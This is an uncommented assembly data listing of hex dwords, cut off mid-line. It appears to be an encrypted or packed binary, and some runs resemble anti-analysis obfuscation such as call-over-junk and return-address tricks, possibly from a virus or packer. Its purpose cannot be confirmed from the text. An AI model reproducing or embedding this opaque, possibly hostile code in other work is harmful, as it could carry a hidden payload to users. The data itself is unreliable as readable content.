0AC710B61h dd 0F5594339h, 0DA000001h, 0EF0F76Fh, 36B4DF77h, 6D2CD078h dd 18ED7508h, 7316767Bh, 7109DCF5h, 0BAF4F99Ch, 1DA2432Bh dd 6D6A730Fh, 8CE05CB7h, 19A27312h, 7E27CEA3h, 0C4841398h dd 9CDAD8A3h, 8AE068Ch, 0BEF1646Fh, 0E6D59709h, 6D2D20C8h dd 0E9000007h, 12E7E50Ah, 81147881h, 3386CAEFh, 0A3365A5Bh dd 0CDA725CEh, 0EB34412h, 8223F75Ah, 10997BCEh, 0E106E97Ch dd 74D4D2E3h, 710563DBh, 2ADC9F21h, 31B65A43h, 0B85F22AAh dd 4EF65537h, 0C2AD401Ah, 0B9169C9Dh, 1775C048h, 0C25BEFA9h dd 59770EADh, 0EAD58F1h, 1E31A477h, 0BEC6ED4Bh, 0B9996D0Eh dd 144h, 8C6C013Ah, 15F88D6Bh, 8215F890h, 9CCCF185h, 0F6B27F03h dd 0C857E00Ch, 35406F7Dh, 792FFBB7h, 37751165h, 830028A0h dd 81710B65h, 821B2FE9h, 0FE710B65h, 65A98D6Bh, 69C36973h dd 356693h, 0B1540000h, 0D98CDCE1h, 85F0E063h, 4DFF4B67h dd 0C37511FFh, 0EA8B5A14h, 0FB036BC1h, 710BDF5Eh, 432276AAh dd 7D4E1C90h, 75F3B3D8h, 69C7364Eh, 0B03193h, 2A420000h dd 472AA243h, 0F25F09B2h, 44F29A1Bh, 0F025BE8Ah, 0CC9B770Eh dd 757A1D70h, 0BE31C717h, 0CE3770Eh, 0BFCAE5EBh, 3ECF8921h dd 52375156h, 39E7F6D6h, 0B259750Ch, 797E11F4h, 881A96Fh dd 747108F2h, 0E09E1AE1h, 0F0B14726h, 97F29A1Fh, 46054008h dd 0DCB10FB4h, 4FD2B63Bh, 536E01AAh, 86E0DA2Bh, 62A6BE6h dd 4D2C0000h, 0C45124A8h, 32C4A93Fh, 9E76DB89h, 11E64B19h dd 0CF0EE4E8h, 9FCDF69Bh, 341660Ah, 0B1D7DCBEh, 20A4492Ch dd 98311991h, 0E4710561h, 452A9754h, 0B24528BCh, 0DEEDCFC7h dd 0E09EDF77h, 0EBACF48h, 0D3BE2D77h, 432AC6BDh, 916104A2h dd 93697C6Ch, 899A3DFBh dd 581FEA95h, 0D8BFD2AEh, 275CB1D7h, 0E7000000h, 2AA2432Ah dd 20F7B047h, 87129367h, 533580C5h, 0EC6B2CEAh, 2BD715FBh dd 14387CF8h, 563ABB52h, 2CB3h, 432AC200h, 287DD768h, 61CC7265h dd 8341DF67h, 1EF3770Eh, 896EF395h, 83A16860h, 5315FF5Fh dd 8FD9DEB2h, 365A5EDAh, 7014997Ch, 0A2432A03h, 0F4F29D2Ah dd 6E1C6EBAh, 0BB757508h, 6DB02901h, 590C7105h, 56DD64Fh dd 0C1BF2A71h, 0A83D75E0h, 0E78620C5h, 7E12EE0Fh, 0C7E304EBh dd 0CDAB5026h, 617F0ABDh, 0EBB2E149h, 0FB6E6EFEh, 8C6005BFh dd 15F88D6Bh, 0EF6EE743h, 7D2770Eh, 0AE41D4B8h, 34D95F09h dd 5C094364h, 8E2C57E0h, 74791DF0h, 0FE7A7F11h, 0ED5A68C0h dd 2EBF7511h, 33B45849h, 27A10C59h, 0B2EFC6A2h, 5E465F2Dh dd 7B3A8127h, 0E0DCC05Ah, 0E50AC7A7h, 61000004h, 0EA7F6D92h dd 19ECE009h, 8B1E7277h, 3B8EC2E3h, 0B53FAD56h, 0B63BDC8Ah dd 0AAB4FD2h, 9821F346h, 698E61F4h, 0CC5C5A7Bh, 71056053h dd 2A6407A9h, 702EA243h, 7AF6FB9Dh, 6D7F8017h, 80C8ED80h dd 0B5CD1103h, 118FDDE2h, 0FD8EFC4Eh, 5DDB89F0h, 6CCE4E56h dd 500999h, 0F0AA0000h, 0FF4B6785h, 7511AB4Eh, 0A15B17C2h dd 288429CCh, 5E32B745h, 456A0DE0h, 0C2EA4603h, 710BA347h dd 0DD951AFDh, 0EA466B08h, 0A2751886h, 0A21E4B1Dh, 0ED4E2DCFh dd 0DA73D718h, 26710AFDh, 9EDBEEB3h, 88450792h, 440h, 70791FEEh dd 432A7FF4h, 0B0472AA2h, 632E590Fh, 471D2D45h, 0C5751200h dd 31AE7616h, 0FF710BE0h, 11B1D41h, 0FE936A3Eh, 50h, 0AD85F079h dd 9C9EBC13h, 852ECFB8h, 663B86C3h, 1DCD3A5Ch, 0AFCB56B7h dd 1171E99Bh, 98F06775h, 0B51D370h, 0BFE35171h, 94950BCCh dd 0F0E9D91Ch, 2E354F74h, 9F6E936Ah, 8D0622FAh, 0F3710BC8h dd 62CF9964h, 67626A8Bh, 0FF3E1C98h, 0B9000000h, 4A2432Ah dd 918E61h, 0F8906CFBh, 9CAC8415h, 770EF103h, 6B079279h dd 0F10099B1h, 0E97C770Eh, 0FF967B13h, 6C03EEFEh, 0DFF5054Bh dd 11770EEDh, 0CCF1817Eh, 6E62C99Ch, 99F3F49Bh, 0D5CFA3EEh dd 5202D4C8h, 0EAA4C2A9h, 0E23C55Eh, 0D0AC3B77h, 4184B296h dd 9FF27511h, 7B69F4FDh, 0D870414Ch, 710B023Fh, 2D54EDAh dd 0BC2B710Bh, 4F6BF665h, 8B2E6FBh, 0FBB7226Fh, 7DCD8741h dd 770892E4h, 29B8D58h, 7E770893h, 0ED16E4EBh, 7F12EEFBh dd 0EE73119Ah, 0DB402A09h, 0C5BB6221h, 0B46C477Eh, 9971E6D9h dd 31B44h, 5B5C3F00h, 2ED3A035h, 0B841D7BAh, 8AD41D4h dd 9B20F144h, 0EAC07FF5h, 5E8FC05h, 891C7075h, 3F82C6EBh dd 60315758h, 5E890226h, 45F77105h, 44452AA6h, 0D44DDDB3h dd 28770EF0h, 54BD6BDh, 8029CA9Bh, 42279DC8h, 9B20F2ABh dd 0B85B2BC6h, 0D6BD08F6h, 5E01C1B2h, 7782C421h, 0DBA3633h dd 3444AE82h, 8BDA1E25h, 99BF2536h, 0D8A7323Dh, 852ECF9Eh dd 6C2A86C3h, 11022ADCh, 4BFFA075h, 8894AAF2h, 742E48D7h dd 0B6D3BD4h, 4A228171h, 0DBA623A5h, 68E50D5Dh, 0A4710B6Dh dd 384C5478h, 379369CFh, 0F9h, 8C6C0140h, 62FB4F6Bh, 0DE770EF0h dd 35D8AD0Bh, 0B61DA648h, 0E5A64BD6h, 0ECF99318h, 0A9BF4701h dd 2B770EEDh, 6607A344h, 697C6C95h, 836AFF93h, 325D6A62h dd 0ECCBAA4Ch, 9D7D56Dh, 0EEFBED78h, 0F3AD6703h, 6F797E12h dd 0EDB9527Ah, 5007770Eh, 0AC6F4D4h, 0A1347512h, 6E936409h dd 0C6B1FE92h, 3D48E28h, 0F8E5DA8Ch, 2505E3EAh, 6F093B0Fh dd 0CDA0DE8Dh, 712F852Ah, 6A0EFB9Ch, 4C0CED8Fh, 92799C32h dd 1BFC4107h, 3F06565Ch, 750AECA1h, 8976C41Bh, 2A45D017h dd 0E6D9C7B5h, 0D1498464h, 75000001h, 0FE4301A6h, 6DF0941Dh dd 9F62668Bh, 0F92F6F7h, 0A103416Ah, 0AA4F2076h, 3EBF5326h dd 8C35C7AAh, 1DA275D8h, 0D870364Fh, 71055D3Fh, 2A680BBDh dd 6302BC45h, 0FF936992h, 99B1836Ah, 770EF100h, 3E4CB502h dd 587B1AD0h, 0D788268Dh, 49B668D7h, 70149067h, 0A2432A03h dd 0FB0472Ah, 9C21F459h, 2AD0BBCCh, 9BD7A243h, 11EA318Fh dd 9AAE6875h, 710BE201h, 350CE87Fh, 87BD26A6h, 556F3053h dd 0DB3ED470h, 0EB82E75Dh, 471886CAh, 3D94A515h, 57E05C0Fh dd 58F08E2Ch, 6F0EEE9Eh, 5C31491Ch, 0CD46E2BAh, 33770EDEh dd 0B63D9A4h, 3FD6CFA6h, 2CBB2EBEh, 0EB3FF5BCh, 2A059578h dd 0BA905C13h, 0EE4AD154h, 0FEB83641h, 206BE444h, 0D5AF770Eh dd 0F010D4AFh, 77CD98BBh, 6B571139h, 76E57511h, 2DC1A412h dd 9D7DC088h, 52378D18h, 0CF523ABBh, 1BEA842Dh, 94F47079h dd 0C981D5EFh, 0A4C38126h, 0FC9FDBD9h, 0F80310E2h, 0E71EA336h dd 53794457h, 0BE8AC4A0h, 6F0E3D40h, 0B7616BFEh, 1BBC45D6h dd 398EB39h, 0BFD2AE67h, 0CEB5D7D8h, 22C3A2F6h, 5024AB50h dd 0CCA83DAFh, 0DC9A1863h, 11C9EE4Ch, 0CB994C75h, 3B19D1BCh dd 4E4866D7h, 30EA8413h, 0BC38BD5Dh, 4BD126Ch, 2BBD286Fh dd 5A0EAF46h, 0CD9F20F7h, 0EAD6CC25h, 8F5E1882h, 5569C7E8h dd 0EB836201h, 0D6983119h, 71E462FAh, 0EE0FE7EAh, 17987F12h dd 0E409EC71h, 0BC5332E4h, 4428BD3Bh, 0B24429A3h, 1BF25F09h dd 31A55050h, 836EE8CDh, 0B6DA5AC9h, 16F7A704h, 786D7F84h dd 0D294B8FCh, 69FCBA3Bh, 7C696388h, 7619EC80h, 0DFA1771h dd 79000000h, 9D8E6C01h, 0F590F8FDh, 0DDD6926Eh, 26A6472Ah dd 5933B45Bh, 0CB9D26F4h, 7B6D9266h, 90F80196h, 5476C0Dh dd 0B9D3D4B8h, 2FB942D4h, 4008B142h, 6A75680Bh, 0C890000h dd 59086824h, 1C890000h, 68266824h, 4890000h, 84046824h dd 1C8B0609h, 4C48324h, 24048B54h, 5104C483h, 8BF57h, 0F9890000h dd 89C1015Fh, 34FF5919h, 0C4815824h, 4, 50241C8Bh, 405E089h dd 5000000h, 4, 5C240487h, 0F9E7B4E9h, 0DDD55BFFh, 55B8F73Ah dd 3060995h, 76E0FFC5h, 1421C8EAh, 0A91566CFh, 1757525Ch dd 0FA70CB83h, 0F5B6EE4h, 863902E8h, 0B3396E80h, 554E88B8h dd 54549827h, 0F913914Ch, 56336A4Ch, 0C00725D2h, 324E3ABBh dd 0F1C6B4Bh, 4E091380h, 894E2948h, 950852EAh, 0CA2A7CA1h dd 5735AC12h, 0D018100h, 843D47D3h, 221E22C4h, 31416A67h dd 971DDE6Eh, 237D7DBBh, 3C4491BDh, 0A4180EFEh, 0E93DAAC9h dd 15Fh, 60D48B52h, 0E8h, 0ED815D00h, 609963Dh, 3D08428Bh dd 78263845h, 138850Fh, 428B0000h, 184A8B0Ch, 3BBBC8D3h dd 3397D63Ah, 4E883C3h, 31D18589h, 588B0603h, 8BF88B04h dd 4A8B1042h, 0BEC8D318h, 8FB1BC33h, 0C72BC633h, 83FCE083h dd 858904E8h, 60301E1h, 8914428Bh, 321BD85h, 18428B06h dd 0B0E953h, 0B5FF0000h, 6031CF1h, 0B9E9h, 0E9B5FF00h dd 0E9060313h, 0AEh, 21ADB5FFh, 0A3E90603h, 0FF000000h dd 32961B5h, 98E906h, 0B5FF0000h, 60323C5h, 8DE9h, 5DB5FF00h dd 0E9060323h, 82h, 2221B5FFh, 77E90603h, 0FF000000h, 321D9B5h dd 6CE906h, 0B5FF0000h, 60322F9h, 61E9h, 0A9B5FF00h, 0E9060330h dd 56h, 324DB5FFh, 4BE90603h, 0FF000000h, 31A15B5h, 40E906h dd 0B5FF0000h, 60310CDh, 35E9h, 31B5FF00h, 0E906031Ah dd 2Ah, 1375B5FFh, 1FE90603h, 0FF000000h, 30625B5h, 14E906h dd 0D88B0000h, 0BB8h, 0E3F76600h, 969E8D8Dh dd 0C8030609h, 95FFE1FFh, 6032691h, 0D1858B5Bh, 39060331h dd 850F0458h, 0Fh, 0FF016A53h, 31FB995h, 0E2E95B06h, 61FFFFFFh dd 5A61C35Ah, 0D4C96AB8h, 8BE0FF77h, 3128585h, 8C8D8D06h dd 89060997h, 0C38B0141h, 98FB8D8Dh, 6A0609h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0DCADA1C3h dd 0A330454Ch, 0D18D8955h, 6A060331h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0F529C355h dd 9CF791CFh, 0CB4BE497h, 0B232BF66h, 88C0Fh, 8F0F0000h dd 2, 85C7C6B4h, 60301E1h, 6190h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 92C35141h, 12E8h, 56787600h dd 0E7864B71h, 1C5BD5A1h, 0B1FB6668h, 0FD787DFh, 68Dh dd 4EC28100h, 5A68B2D3h, 9860Fh, 810F0000h, 3, 0C7F88B66h dd 321BD85h, 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 54D1D316h, 6F5CC845h dd 0ACD9D03h, 0D2810603h, 64BBC85Dh, 23C5B5FFh, 6A0603h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 7BA155C3h, 0C34E6944h, 850FE767h, 6, 0C698D89h, 95FF0603h dd 6032691h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 6CC35040h, 95FF006Ah, 6031FB9h, 39EBC08Bh, 337B3676h dd 7C1DA9EAh, 0F5A5C5E1h, 670AEBF3h, 880C8204h, 0FF037462h dd 8E88A82Dh, 9D92654Bh, 6290A168h, 1DE411ECh, 20060809h dd 583C9784h, 0B5F2D0E0h, 2147A8F2h, 5E86Bh, 39650000h dd 5E1B3413h, 0E3C0B966h, 628DC681h, 0B8FC0000h, 483AC25Ch dd 0A9D4E881h, 8A0F483Ah, 3, 0FFA0C180h, 21BD8B36h, 5A060300h dd 4C7DEA81h, 0BD29632Eh, 6032E49h, 0DA4AC281h, 870F5BE3h dd 6, 2D1D9D89h, 0F2810603h, 14DC26F1h, 0EFD98166h, 8FF952B0h dd 7C14BF06h, 0EE830520h, 1E88304h, 0FFB9850Fh, 87BFFFFFh dd 0E81F3C93h, 7, 11D220C4h, 297278D2h, 32CFD95h, 0BD8B5806h dd 6031ED1h, 6A69C081h, 0D08A0000h, 890FF62Bh, 2, 1C8B2AB6h dd 11E830h, 62EF0000h, 4C4173E1h, 1B06C538h, 9E67B48Eh dd 29B4F912h, 332719Dh, 0EB815F06h, 5BA5EEC5h, 0CA2AC181h dd 0EB810D37h, 31498CE4h, 0E2B3B966h, 2441EB81h, 896054B7h dd 31A99BDh, 4AB86606h, 1C896135h, 48A0F30h, 66000000h dd 8B45CFBAh, 0D0EE81FEh, 667186AAh, 0C681CE8Bh, 7186AACCh dd 29E1950Bh, 0FE810603h, 0FFFF9634h, 0FF88850Fh, 8B66FFFFh dd 8EBCAh, 22000000h, 0E90E02C5h, 4EEh, 99B4C68h, 0E2F7E906h dd 0D268FFF9h, 0E906099Bh, 0FFF9E2EDh, 99D3968h, 0E2E3E906h dd 0C9A8FFF9h, 40DDA024h, 0AE40D5BBh, 1AF24705h, 8D62F795h dd 53826064h, 1B497207h, 8FDDE2B6h, 3D53583Ah, 0AC20C5A8h dd 1CB59515h, 60710557h, 452A13D0h, 0AE412CBCh, 612C5B09h dd 55032743h, 0C3751208h, 2FAC7414h, 0C1710BC8h, 71DC8C31h dd 0F44C1CA1h, 1BAA1438h, 0C192F125h, 17FE85E5h, 0CE93F696h dd 0E9470C2Ch, 695AC2DAh, 31CBD93h, 0EE3E0000h, 0C7E5901Ah dd 9C99FABh, 68477512h, 0DE986788h, 0BE7F7324h, 0C34DB896h dd 0B2F50C9h, 4339AC71h, 11B02606h, 8DF8A468h, 81F7536Fh dd 0FF79AB56h, 3C476068h, 102800BEh, 0AE77AC65h, 7EE7F3Bh dd 781FE2E6h, 0E55084BDh, 866D2C4Ah, 0B9DD48EFh, 60FD8D1Dh dd 366h, 7E129366h, 0E3E10AEBh, 1D73781Eh, 8DC3E488h, 3E525738h dd 3CDD89B4h, 0AC4CD1B7h, 22F0450Bh, 8F66CB99h, 5F5B7A6Eh dd 55552CBh, 5D1EAE71h, 0ACAD85F0h, 8CD2CDA0h, 3F0A94DFh dd 0B18A169Ah, 54BC8C2Ah, 0AD750805h, 5BE57F3h, 57027105h dd 556DF8D9h, 9410DFB0h, 9230F5E0h, 0F5580C9Bh, 37B15524h dd 0FC05D510h, 0E3B45911h, 0E20A62DEh, 0A5CD59F2h, 0FF908D60h dd 0FF546FFAh, 21F293Dh, 2E0F76Ah, 19F80000h, 906DF094h dd 0FE90656Bh, 6A0297F5h, 0DDB20745h, 332B0D4h, 0AB39C257h dd 0DF8D32C6h, 4D03A84Ah, 0FC9015F8h, 0CC45E5A5h, 30710555h dd 85F0E380h, 31AD70ADh, 3D88C62Fh, 0B55DA585h, 0C7C37507h dd 595EA63h, 4C751A71h, 7F3B8655h, 0AE607EEh, 953DDA62h dd 55CB7105h, 6CB16201h, 0CA1F0592h, 0C5DFE440h, 8293640Ch dd 1CEh, 0A2432A3Dh, 0F7B0472Ah, 5D339E1Fh, 31496712h dd 5CEBDF6Eh, 39113AAFh, 770E0EA0h, 6E2491Ch, 1E2AE048h dd 7DE87511h, 0FE46C36Bh, 5EC2710Ah, 5C162E0Ah, 0F88D9369h dd 0EEFBED16h, 3D0812h, 0F0AB0000h, 0FF4B6785h, 7511FF4Dh dd 0EA0FECC3h, 7018E7E2h, 0BDF2BA8h, 8741F971h, 0BDF2AA3h dd 65C39671h, 0BD5E0D51h, 6EFE0A93h, 0D8EB4145h, 936A1BC4h dd 46670EDFh, 0C3F0EAh, 2A030000h, 472AA243h, 0BDFFC3B2h dd 5EF677F6h, 4E1F99F3h, 1C4903A8h, 852ACDA0h, 4D7618EDh dd 9AF24E1Bh, 3A8491Ch, 0CDA01C49h, 18ED852Ah, 70157778h dd 794890F4h, 0BB770E88h, 0F2BDD3D4h, 0F9516987h, 750C22EAh dd 16F7B326h, 75107881h, 6607C1FFh, 917C6C95h, 0F792FAFFh dd 18F98C68h, 9762836Bh, 0CEE138DBh, 0BBC77042h, 33C4A93Dh dd 0FC64F78Eh, 0C1A9E0DAh, 1790Ch, 7F801300h, 0F2F78469h dd 5C650B9Eh, 2CD1A508h, 0BF44D5B8h, 0CE9C5B29h, 79CC8029h dd 0ED701499h, 13E6EA0Fh, 4C157B7Ch, 5365FE4Ah, 29DB7105h dd 6F452A4Ah, 0EF042DBh, 5C2BBE77h, 2DD2A508h, 8C6C01BFh dd 8864616Bh, 9447010Bh, 0E04F7EE6h, 88010B7Ah, 0F4770E7Bh dd 0FE68B61h, 5538FEEEh, 22473DC2h, 8926AA4Bh, 0CC6E0FEh dd 7A129779h, 1394786Fh, 3704B595h, 651F7511h, 0BB84CC5h dd 4F25B071h, 26C7E376h, 36AF7B51h, 8A710BB8h, 7C3670DFh dd 0BB833ACh, 39118971h, 710BB8A0h, 6E2491Ch, 0B83DDA62h dd 20F7710Bh, 129E39Fh, 710BB888h, 0E78B61F4h, 3CC15439h dd 0A74C2D40h, 91B97325h, 710BB8F8h, 61B9144h, 0AAh, 0FE039578h dd 6C018102h, 0A2566B8Ch, 856F0F4Ch, 741FA804h, 7B0C85A5h dd 0E570770Eh, 74C8601Eh, 0F2750800h, 93F5FE9Fh, 9C616BF6h dd 8A0327F9h, 0F6710504h, 4FF98B0h, 0EE7D7105h, 66D0B403h dd 5039CACh, 92797105h, 1B9C7316h, 3D0DC771h, 710504A4h dd 0D7F74D18h, 78FFCA99h, 95ADF14Fh, 4E730502h, 0E8FC4B1Eh dd 354D7205h, 0BC38BD50h, 0C2AD412Ch, 0BE1D1794h, 0E1B2D170h dd 7B354DD8h, 0C4536AFh, 61DF8A69h, 3E624209h, 786C9164h dd 0B6741DBEh, 444923D5h, 0CDF285E8h, 8469Bh, 1FD0000h dd 8B618A6Ch, 472AD4CFh, 0B45B26A6h, 26F45933h, 9266CB9Dh dd 1967B6Dh, 6C0D90F8h, 0D4B80547h, 42D4B9D3h, 0B1422FB9h dd 510B4008h, 0BE56E189h, 3E7322F1h, 7E26E681h, 814E5918h dd 10221BEEh, 5EF10118h, 8704E983h, 515C240Ch, 0C181E189h dd 4, 8704E983h, 895C240Ch, 0E868243Ch, 89000056h, 0BE562404h dd 6099A82h, 348BF789h, 4C48124h, 68000000h, 7057h, 81242489h dd 42404h, 53580000h, 58895B57h, 34FF5B08h, 0C4815824h dd 4, 5F2434FFh, 0E904C483h, 0FFF9DE15h, 0D7B8F440h, 306099Eh dd 5DE0FFC5h dd 613E99EDh, 8A4EC751h, 0C443E636h, 481F6153h, 1257C14Dh dd 0F362FD03h, 9E50B3DCh, 4619D2ACh, 0F54D4515h, 0E82856BEh dd 8, 0B8C2131Fh, 7E513FDDh, 0ADEBBA66h, 0DDEB8159h, 81586C9Ch dd 6797C1h, 0CF816600h, 0BDB81D4Fh, 810FE6F8h, 0E6DEFEE8h dd 5860F0Fh, 66000000h, 70F6E781h, 0DE8B318Bh, 4E65C681h dd 81665609h, 817941EFh, 9A470FF6h, 0C681F962h, 67EA3D3Bh dd 11E856h, 0C0F30000h, 9F146CE9h, 34A2F06Bh, 0C58649A8h dd 0F97C8344h, 83018F5Fh, 0DC8A04E9h, 12850F48h, 0BB000000h dd 23D546AEh, 1EE9h, 0A2E2E100h, 76853BEh, 0A5D1BA18h dd 0A1E96F9Fh, 35FFFFFFh, 0E63F7C33h, 2F28BCC6h, 8D7C26C8h dd 9A0B48Dh, 0F9850906h, 8B060330h, 3137185h, 0D18D8906h dd 66060331h, 8BCF681h, 1E185C7h, 6B900603h, 0EE90000h dd 13000000h, 63BF4144h, 0E5A46A3Dh, 7B05F1C6h, 0BD85C738h dd 60321h, 89000000h, 320BD85h, 0E9B5FF06h, 89060313h dd 3315D8Dh, 0D99D8B06h, 0FF060320h, 3269195h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 3A9AB52Ah, 0DFED5A6Eh, 0FF006AFCh, 31FB995h, 0EBC08B06h dd 70A8B1Eh, 56A0866Ah, 8F1E9869h, 3E6A6F0Bh, 9E806394h dd 0F1509EF5h, 0B74DA1EFh, 0E8349003h, 8, 8DAA9417h, 67CBE14Ah dd 9364BE66h, 11D28159h, 811313EFh, 74F4C1h, 2D8D8900h dd 0BB06031Dh, 0 dd 0ECEF781h, 34FF32B8h, 0CDBD290Bh, 58060331h, 5999589h dd 0F0810603h, 295AFAF6h, 11E9h, 43C7CC00h, 18899BF9h dd 8815BE0Ch, 0BDF4C395h, 0F08164D7h, 46EA316Ah, 6E9h dd 0A9168900h, 8180B471h, 9B98AFC0h, 0A1B50B69h, 50060303h dd 19048FFCh, 6E9h, 54ECF700h, 896D6176h, 3065D8Dh, 4EB8306h dd 8BA0FB81h, 850FFFFFh, 0FFFFFF92h, 12E8h, 2E360300h dd 83EC34C6h, 22D84564h, 3FF8133Dh, 918C582h, 312B595h dd 8B665E06h, 4C681D0h, 66000070h, 0E3B8CB8Bh, 8B00001Bh dd 0E98D8B1Eh, 8106030Bh, 0BC2B9EC3h, 18D2943h, 81060322h dd 433261C3h, 54F8BF61h, 0EB81616Fh, 2E5C3985h, 1E51958Bh dd 1E890603h, 0E5BD8B51h, 5A06032Dh, 0BA04EE83h, 168D3ABEh dd 1E881h, 850F0000h, 0FFFFFFB7h, 3860Fh, 0B70F0000h, 0FE8FEh dd 509D0000h, 8DE23AA6h, 49403592h, 0E745DDEEh, 9DBD8936h dd 5906031Ch, 1A498D89h, 0C1810603h, 5919h, 0CE8h, 29A65100h dd 0C3E1D250h, 112EDB20h, 0CFBE6696h, 57B85A48h, 814B96B7h dd 96A140F0h, 66198B4Bh, 81F040BAh, 96053EEBh, 53CE8170h dd 8115C50Ch, 911B28C3h, 0E1BE660Bh, 51EB8110h, 8B5853E0h dd 32BD5BDh, 8B665306h, 0F9018FD6h, 6A70E981h, 66BF5C2Ah dd 8123C5D6h, 2A6A6CC1h, 0EE95Ch, 0C5D00000h, 647F5B2Eh dd 0E3A4E8C1h, 7F957C6h, 0F01E883h, 1285h, 55B58B00h, 0E9060302h dd 17h, 59A143AFh, 3314FB1Bh, 31CAD95h, 0FF87E906h, 0C23EFFFFh dd 8B04AAF5h, 39BD83C0h, 60310h, 0BD830975h, 603111Dh dd 50197400h, 0B8C08B53h, 421h, 17758589h, 9D8D0603h, 605B091h dd 585BD3FFh, 111DBD83h, 74000603h, 0B8535017h, 421h, 17758589h dd 9D8D0603h, 605AD80h, 585BD3FFh, 9D8BC08Bh, 6030121h dd 2F3985C6h, 68560603h, 9CA8B852h, 28C9B5FFh, 858D0603h dd 60673BCh, 46AD0FFh, 100068h, 21B5FF00h, 6A060328h, 85D0FF00h dd 0D850FC0h, 0B8000000h, 0 dd 72878D8Dh, 0E1FF0603h, 0C38BC88Bh, 53C4003h, 0F8h, 30C508Bh dd 8DBD83D3h, 6031Fh, 0E840Fh, 9D8B0000h, 6031F8Dh, 0CAD858Bh dd 3890603h, 858D5251h, 603418Dh, 0FA8BD0FFh, 0D18BF18Bh dd 0A4F3C88Bh, 2F3985C6h, 68560603h, 0D41F6D39h, 28C9B5FFh dd 858D0603h, 60673BCh, 68D0FFh, 6A000080h, 0D0FF5200h dd 0BD83C08Bh, 6031039h, 83097500h, 3111DBDh, 19740006h dd 0C08B5350h, 421B8h, 91858900h, 8D060323h, 5B0F89Dh dd 5BD3FF06h, 1DBD8358h, 60311h, 53501774h, 421B8h, 91858900h dd 8D060323h, 5AD999Dh, 5BD3FF06h, 8DC08B58h, 31F8D9Dh dd 0B038B06h, 7840FC0h, 8B000000h, 45B8B03h, 41B81889h dd 0E800004Bh, 0Dh, 0CBE583FBh, 0AB312E3Bh, 0B139639Bh dd 13850F8Dh, 0E9000000h, 0Eh, 837732Fh, 6B20B14h, 75F0340Ah dd 6059F88Fh, 12E9h, 3C9D7E00h, 3E6C0B1Eh, 3E7C8A6h, 21A6D9C0h dd 6631F214h, 6169EEB9h, 6120C181h, 8E0F0000h, 2, 0F9BF62B7h dd 0B8000017h, 17749C07h, 0C68B318Bh, 0C402EE81h, 810F73F7h dd 4, 0F733BB66h, 9867C681h, 81667215h, 812D16E2h, 73828CC6h dd 0C18B6639h, 6E856h, 852B0000h, 4395080Eh, 13E9h, 2DEBFC00h dd 7726A59Ch, 848F31CAh, 0A9F29C24h, 3E34FF5h, 0B0018F58h dd 0E98132h, 0F471B12h, 118Ah, 0AE800h, 0BFF40000h, 4BD77AFCh dd 6DB7177Ch, 0C18158F9h, 471B11FCh, 14E8h, 61B14500h dd 0B406796h, 0E2F2775Eh, 60A34D55h, 0F62C2BE2h, 9E85Fh dd 1EA50000h, 0C8310D32h, 573F9F08h, 8158585Ah, 1EFh, 13850F00h dd 8A000000h, 32E9FAh, 31AB0000h, 547760BEh, 0E45DDE53h dd 0EE91999h, 0CE000000h, 0A121DD32h, 3EBE470Fh, 89B72380h dd 0FF2AE91Ch, 1777FFFFh, 3C117408h, 8C41B332h, 0DC416323h dd 0A6498D8Dh, 6A0609h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 0F284DDC3h, 2776EC1h, 0DFBB66FFh dd 0D18D89AFh, 89060331h, 322799Dh, 0E185C706h, 38060301h dd 31000062h, 30F59B5h, 0BD85C706h, 60321h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 0BDBEC357h, 0E9B5FF29h, 6A060313h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 0FDECC353h, 45CD2C38h, 0F281797h, 686h, 0C5B58900h dd 2B060303h, 312B1B5h, 9195FF06h, 6A060326h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 0AC2C352h, 0D6DC4FA8h, 0CD7D3D5Ch, 3065B589h, 6A0603h dd 1FB995FFh, 0C08B0603h, 0BBC61EEBh, 37725348h, 0F4659D11h dd 47D8500Fh, 0DFBF8D11h, 37ACE145h, 8973291Bh, 9FB02FC0h dd 75FDED55h, 76F67A5Eh, 56E669A4h, 7BFD49BCh, 0D9FD20ACh dd 1EFD2083h, 7CFD2094h, 6EFD201Ch, 44FD20D9h, 2DFD203Bh dd 2FD204Ah, 0F9FD20F2h, 24FD20AEh, 0FDFD2083h, 56FD2094h dd 0B3FD201Eh, 90FD20D9h, 7DFD203Bh, 39FD2049h, 8DFD20F0h dd 9DFD20ADh, 95358A25h, 76D6A222h, 5CDE714Ah, 5CF44BBDh dd 75FD7A5Ah, 75F57227h, 74FD7997h, 73FD78CBh, 74F57DEDh dd 74FC7BF3h, 75FC7B78h, 75FD7ABCh, 76FD7A5Eh, 75A7772Bh dd 75A777A3h, 75FD7ACBh, 74FC7BE4h, 74FC7BF3h, 75F8B290h dd 0F0701ABCh, 73F4D0DAh, 0D346FFA6h, 0F0707C9Eh, 73F4D051h dd 0D386FF6Ch, 0F0707CFBh, 73F4D0A1h, 0D34AFF35h, 0F0707C57h dd 73F4D017h, 0D382FF1Eh, 0F0707CC2h, 73F4D312h, 0D37EFF7Bh dd 0F0707C70h, 73F4D229h, 0D37AFFD7h, 0F0707C26h, 73F4D230h dd 0D376FF42h, 0F0707CECh, 73F4D24Fh, 0D372FFF0h, 0F0707CB5h dd 73F4D346h, 0D366FFA6h, 0F0707C9Eh, 73F4D22Fh, 0D36EFF6Ch dd 0F0707CFBh, 73F4D37Ah, 0D36AFF35h, 0F0707C57h, 73F4D337h dd 0D366FF1Eh, 0F0707CC2h, 73F4D3B7h, 0D356FF7Bh, 0F0707C70h dd 73F4D3CDh, 0D352FFD7h, 0F0707C26h, 73F4D303h, 0D34EFF42h dd 0F0707CECh, 73F4D32Fh, 0D362FFF0h, 0F0707CB5h, 73F4D04Ah dd 0D35EFFA6h, 0F0707C9Eh, 73F4D064h, 0D35AFF6Ch, 0F0767CFBh dd 73FE4B14h, 